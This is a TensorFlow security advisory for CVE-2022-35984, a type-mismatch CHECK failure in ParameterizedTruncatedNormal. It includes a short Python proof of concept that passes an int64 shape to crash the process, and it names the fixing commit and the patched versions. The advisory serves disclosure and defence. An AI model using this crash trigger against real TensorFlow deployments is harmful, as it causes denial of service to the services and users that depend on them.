tensorflow/security/advisory/tfsa-2022-115.md
CHECK fail in ParameterizedTruncatedNormalCVE-2022-35984
ParameterizedTruncatedNormal assumes shape is of type int32. A valid shape of type int64 results in a mismatched type CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
seed = 1618
seed2 = 0
shape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894)
means = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
stdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
minvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
maxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)
tf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2)
We have patched the issue in GitHub commit 72180be03447a10810edca700cbc9af690dfeb51.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University